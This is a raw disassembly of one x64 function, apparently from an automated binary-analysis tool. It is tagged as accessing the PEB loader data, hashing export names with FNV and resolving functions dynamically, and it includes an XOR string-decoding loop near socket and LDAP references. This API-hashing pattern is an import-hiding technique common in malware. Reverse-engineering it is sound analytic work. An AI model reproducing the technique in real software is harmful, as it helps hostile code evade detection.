Function at 0x140071db0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140398130]
xor rax, rsp
mov qword [rbp + 0x28], rax
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x10], rax
movups xmmword [rbp - 0x20], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140071e89
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140071e89
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
mov r10d, 0xc5522801
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x140071e84
nop
movsx edx, cl
lea r9, [r9 + 1]
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
movzx ecx, byte [r9 - 1]
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
test cl, cl
jne 0x140071e50
cmp r10d, 0xb256f0dc
je 0x140071e91
test r11d, r11d
jne 0x140071e30
mov rax, qword [rax]
jmp 0x140071e00
mov ecx, dword [r14 + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
mov edx, 1
add rax, rbx
lea rcx, [rbp - 0x30]
call rax
test eax, eax
je 0x1400725ec
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140071f5a
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140071f5a
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
mov r10d, 0x7b7934eb
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140071f55
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140071f20
cmp r10d, 0xd9a84ca
je 0x140071f62
test r11d, r11d
jne 0x140071f00
mov rax, qword [rax]
jmp 0x140071ed0
mov ecx, dword [r14 + 0x24]
xor r9d, r9d
add rcx, rbx
xor r8d, r8d
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea edx, [r9 + 1]
add rax, rbx
lea rcx, [rbp - 0x30]
call rax
test eax, eax
je 0x1400725ec
mov qword [rsp + 0x168], r13
xor r13d, r13d
mov qword [rbp - 0x40], r13
mov dword [rbp - 0x34], r13d
mov dword [rbp - 0x38], r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x14007204a
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x14007204a
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
mov r10d, 0x2403ad9e
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140072045
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140072010
cmp r10d, 0x8e433c79
je 0x140072052
test r11d, r11d
jne 0x140071ff0
mov rax, qword [rax]
jmp 0x140071fc0
mov ecx, dword [r14 + 0x24]
lea r9, [rbp - 0x38]
add rcx, rbx
lea r8, [rbp - 0x40]
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x34]
add rax, rbx
lea rcx, [rbp - 0x30]
call rax
test eax, eax
je 0x1400725e4
mov qword [rsp + 0x160], r12
lea r9, [rsp + 0x6a]
mov qword [rsp + 0x170], r15
mov r11d, r13d
mov r15d, 2
mov qword [rbp - 0x48], r13
mov dword [rsp + 0x48], r15d
mov dword [rsp + 0x40], WSAStartup
mov dword [rsp + 0x44], 0x250030
mov dword [rsp + 0x4c], 0x20038
mov qword [rsp + 0x50], 0x2d0010
mov dword [rsp + 0x58], 0x20038
mov dword [rsp + 0x5c], 0x50010
mov dword [rsp + 0x60], 0x200002
mov dword [rsp + 0x64], reloc.WS2_32.dll_recv
mov qword [rsp + 0x68], reloc.WLDAP32.dll_Ordinal_32
mov qword [rsp + 0x70], r13
mov dword [rsp + 0x78], 0x72090000
mov dword [rsp + 0x7c], 0x3050072
mov word [rbp - 0x80], 9
nop dword [rax]
nop word [rax + rax]
movzx eax, r11w
lea ebx, [r11 + r11*2]
movzx ecx, word [rsp + rbx*2 + 0x40]
add ax, ax
mov word [r9], cx
movzx r8d, byte [rsp + 0x7c]
lea edi, [rax + r11]
add r8w, di
lea eax, [rbx + 1]
xor r8w, cx
mov word [r9], r8w
xor dl, dl
movzx r10d, word [rsp + rax*2 + 0x40]
nop word [rax + rax]
movzx ecx, dl
movzx eax, r10w
shr ax, cl
test al, 1
jne 0x140072177
inc dl
cmp dl, 4
jne 0x140072160
jmp 0x140072188
movzx eax, byte [rsp + 0x7f]
movzx r8d, r8w
btc r8d, eax
mov word [r9], r8w
lea eax, [rbx + 2]
mov dl, 5
lea rbx, [rsp + 0x40]
movzx r10d, word [rbx + rax*2]
lea rbx, [rbx + rax*2]
nop dword [rax + rax]
movzx ecx, dl
movzx eax, r10w
shr ax, cl
test al, 1
jne 0x1400721b7
inc dl
cmp dl, 8
jne 0x1400721a0
jmp 0x1400721cb
movzx eax, byte [rsp + 0x7e]
movzx ecx, r8w
btc ecx, eax
movzx r8d, cx
mov word [r9], cx
movzx edx, word [rbx]
xor cl, cl
movzx eax, dx
shr ax, cl
test al, 1
jne 0x1400721e3
inc cl
cmp cl, 5
jne 0x1400721d0
jmp 0x1400721f7
movzx eax, byte [rsp + 0x7d]
movzx ecx, r8w
btc ecx, eax
movzx r8d, cx
mov word [r9], cx
movzx eax, byte [rsp + 0x7b]
inc r11d
add ax, di
xor ax, r8w
mov word [r9], ax
add r9, r15
cmp r11d, 7
jne 0x140072120
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1400722ba
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1400722ba
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
mov r10d, 0xfa931cdb
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400722b5
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140072280
cmp r10d, 0x8586fac1
je 0x1400722c2
test r11d, r11d
jne 0x140072260
mov rax, qword [rax]
jmp 0x140072230
mov ecx, dword [r14 + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x48]
add rax, rbx
lea rcx, [rsp + 0x6a]
call rax
test eax, eax
je 0x1400725d4
mov rax, qword [rbp - 0x48]
mov qword [rbp - 0x58], rax
mov qword [rbp], r13
mov dword [rbp - 8], 0xc0000000
mov dword [rbp - 4], r15d
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x60], 5
movups xmm1, xmmword [rbp - 0x60]
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp + 0x18], xmm1
movups xmmword [rbp + 8], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1400723ca
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1400723ca
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
mov r10d, 0xc1e2b1d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400723c5
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140072390
cmp r10d, 0x70eaf59b
je 0x1400723d2
test r11d, r11d
jne 0x140072370
mov rax, qword [rax]
jmp 0x140072340
mov ecx, dword [r14 + 0x24]
lea r9, [rbp - 0x50]
mov r8, qword [rbp - 0x40]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 8]
add rax, rbx
mov ecx, 1
call rax
test eax, eax
jne 0x1400725d4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1400724aa
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1400724aa
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
mov r10d, 0x2d8f1c69
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400724a5
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140072470
cmp r10d, 0x795755c4
je 0x1400724b2
test r11d, r11d
jne 0x140072450
mov rax, qword [rax]
jmp 0x140072420
mov ecx, dword [r14 + 0x24]
xor r9d, r9d
mov r8, qword [rbp - 0x50]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
lea edx, [r9 + 1]
add rax, rbx
lea rcx, [rbp - 0x30]
call rax
test eax, eax
je 0x1400725d4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x14007258a
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x14007258a
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
mov r10d, 0x2f09f1
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140072585
movsx ecx, r8b
lea r9, [r9 + 1]
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
movzx r8d, byte [r9 - 1]
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
test r8b, r8b
jne 0x140072550
cmp r10d, 0xb17737b9
je 0x140072592
test r11d, r11d
jne 0x140072530
mov rax, qword [rax]
jmp 0x140072500
mov ecx, dword [r14 + 0x24]
xor r9d, r9d
mov rax, qword [rbp - 0x50]
add rcx, rbx
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
lea edx, [r9 + 1]
mov qword [rsp + 0x20], r13
movzx r8d, word [rcx + r11*2]
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov r10d, dword [rcx + r8*4]
lea r8d, [r9 + 4]
mov rcx, qword [0x14039d290]
add r10, rbx
call r10
mov r12, qword [rsp + 0x160]
mov r15, qword [rsp + 0x170]
mov r13, qword [rsp + 0x168]
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.1403139c0
add rsp, 0x130
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret